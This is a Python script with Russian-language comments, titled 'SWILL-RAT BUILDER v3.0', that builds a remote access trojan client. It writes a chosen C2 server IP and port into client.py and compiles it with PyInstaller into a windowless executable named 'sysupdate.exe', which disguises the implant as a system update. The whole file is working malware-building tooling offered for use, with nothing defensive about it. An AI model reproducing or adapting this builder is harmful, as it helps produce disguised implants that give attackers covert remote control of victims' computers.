Загрузка данных
# builder.py - ПОЛНОСТЬЮ ИСПРАВЛЕННАЯ ВЕРСИЯ
import os
import sys
import subprocess
import shutil
import site
def find_pyinstaller():
"""Ищет pyinstaller в системе"""
# Проверяем в PATH
for path in os.environ["PATH"].split(os.pathsep):
pyinstaller_path = os.path.join(path, "pyinstaller.exe")
if os.path.exists(pyinstaller_path):
return pyinstaller_path
pyinstaller_path = os.path.join(path, "pyinstaller")
if os.path.exists(pyinstaller_path):
return pyinstaller_path
# Проверяем в Scripts Python
python_scripts = [
os.path.join(sys.executable, "..", "Scripts", "pyinstaller.exe"),
os.path.join(os.path.dirname(sys.executable), "Scripts", "pyinstaller.exe"),
os.path.join(os.path.dirname(sys.executable), "..", "Scripts", "pyinstaller.exe"),
]
# Добавляем пути из site-packages
for site_path in site.getsitepackages():
scripts_path = os.path.join(os.path.dirname(site_path), "Scripts", "pyinstaller.exe")
if os.path.exists(scripts_path):
return scripts_path
# Проверяем через where
try:
result = subprocess.run(["where", "pyinstaller"], capture_output=True, text=True)
if result.returncode == 0:
return result.stdout.strip().split('\n')[0]
except:
pass
# Проверяем через python -m
try:
result = subprocess.run([sys.executable, "-m", "PyInstaller", "--version"],
capture_output=True, text=True, timeout=5)
if result.returncode == 0:
return "python -m PyInstaller"
except:
pass
return None
def build_client(server_ip, server_port):
# Проверяем существование client.py
if not os.path.exists("client.py"):
print("[-] Ошибка: файл client.py не найден!")
return
print("[+] Чтение client.py...")
with open("client.py", "r", encoding='utf-8') as f:
content = f.read()
# Подстановка серверных настроек
content = content.replace("SERVER_HOST = '127.0.0.1'", f"SERVER_HOST = '{server_ip}'")
content = content.replace("SERVER_PORT = 4444", f"SERVER_PORT = {server_port}")
# Сохраняем временный файл
with open("client_built.py", "w", encoding='utf-8') as f:
f.write(content)
print("[+] Временный файл client_built.py создан")
# Находим pyinstaller
pyinstaller_cmd = find_pyinstaller()
if not pyinstaller_cmd:
print("[-] PyInstaller не найден!")
print("[+] Установите: pip install pyinstaller")
print("[+] Или используйте: python -m PyInstaller --onefile --noconsole --name sysupdate client.py")
os.remove("client_built.py")
return
print(f"[+] Используем PyInstaller: {pyinstaller_cmd}")
# Сборка EXE
print("[+] Начинаем сборку...")
try:
if pyinstaller_cmd == "python -m PyInstaller":
cmd = [sys.executable, "-m", "PyInstaller", "--onefile", "--noconsole", "--name", "sysupdate", "client_built.py"]
else:
cmd = [pyinstaller_cmd, "--onefile", "--noconsole", "--name", "sysupdate", "client_built.py"]
print(f"[+] Команда: {' '.join(cmd)}")
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode == 0:
print("[+] Сборка завершена успешно!")
# Проверяем наличие файла
if os.path.exists("dist\\sysupdate.exe"):
print("[+] EXE файл: dist\\sysupdate.exe")
# Копируем в текущую папку
shutil.copy2("dist\\sysupdate.exe", "sysupdate.exe")
print("[+] Файл скопирован в текущую папку: sysupdate.exe")
else:
print("[-] Файл не найден в dist\\")
print("[+] Попробуйте собрать вручную:")
print(f" {' '.join(cmd)}")
else:
print(f"[-] Ошибка сборки: {result.stderr}")
print("[+] Попробуйте собрать вручную:")
print(f" {' '.join(cmd)}")
except Exception as e:
print(f"[-] Ошибка: {e}")
print("[+] Попробуйте собрать вручную:")
print(f" python -m PyInstaller --onefile --noconsole --name sysupdate client_built.py")
# Удаляем временный файл
if os.path.exists("client_built.py"):
os.remove("client_built.py")
print("[+] Временный файл удалён")
def install_pyinstaller():
"""Автоматическая установка PyInstaller"""
try:
print("[+] Попытка установить PyInstaller...")
subprocess.run([sys.executable, "-m", "pip", "install", "pyinstaller"],
check=True, capture_output=True)
print("[+] PyInstaller установлен успешно!")
return True
except Exception as e:
print(f"[-] Не удалось установить PyInstaller: {e}")
print("[+] Установите вручную: pip install pyinstaller")
return False
if __name__ == "__main__":
print("=" * 50)
print("SWILL-RAT BUILDER v3.0")
print("=" * 50)
# Проверка наличия PyInstaller
pyinstaller_cmd = find_pyinstaller()
if pyinstaller_cmd:
print(f"[+] PyInstaller найден: {pyinstaller_cmd}")
else:
print("[-] PyInstaller не найден!")
choice = input("[+] Установить автоматически? (y/n): ")
if choice.lower() == 'y':
if not install_pyinstaller():
sys.exit(1)
# Повторная проверка
pyinstaller_cmd = find_pyinstaller()
if not pyinstaller_cmd:
print("[-] PyInstaller всё ещё не найден после установки!")
print("[+] Установите вручную: pip install pyinstaller")
sys.exit(1)
print("\n[!] ВАЖНО: Введите РЕАЛЬНЫЙ IP сервера, а не 0.0.0.0")
print("[!] 0.0.0.0 - для сервера, клиенту нужен конкретный IP")
print("[!] Для локального теста используйте: 127.0.0.1")
print("[!] Для сети: 192.168.x.x или ваш внешний IP")
print()
server_ip = input("IP сервера C2 (например, 127.0.0.1): ").strip()
if not server_ip:
server_ip = "127.0.0.1"
print(f"[+] Используем IP по умолчанию: {server_ip}")
# Проверка на ввод с портом
if ":" in server_ip:
print("[-] Ошибка: введите ТОЛЬКО IP (без порта)!")
print("[-] Порт вводится отдельно!")
sys.exit(1)
# Проверка на 0.0.0.0
if server_ip == "0.0.0.0":
print("[-] Ошибка: 0.0.0.0 не подходит для клиента!")
print("[+] Для теста используйте 127.0.0.1")
sys.exit(1)
server_port = input("Порт сервера C2 (по умолчанию 4444): ").strip()
if not server_port:
server_port = "4444"
try:
server_port = int(server_port)
except:
print("[-] Неверный порт! Использую 4444")
server_port = 4444
print(f"\n[+] Настройки:")
print(f" IP сервера: {server_ip}")
print(f" Порт: {server_port}")
print(f" Клиент будет подключаться к: {server_ip}:{server_port}")
print()
confirm = input("[+] Продолжить сборку? (y/n): ")
if confirm.lower() != 'y':
print("[-] Отмена")
sys.exit(0)
build_client(server_ip, server_port)
input("\n[+] Нажмите Enter для выхода...")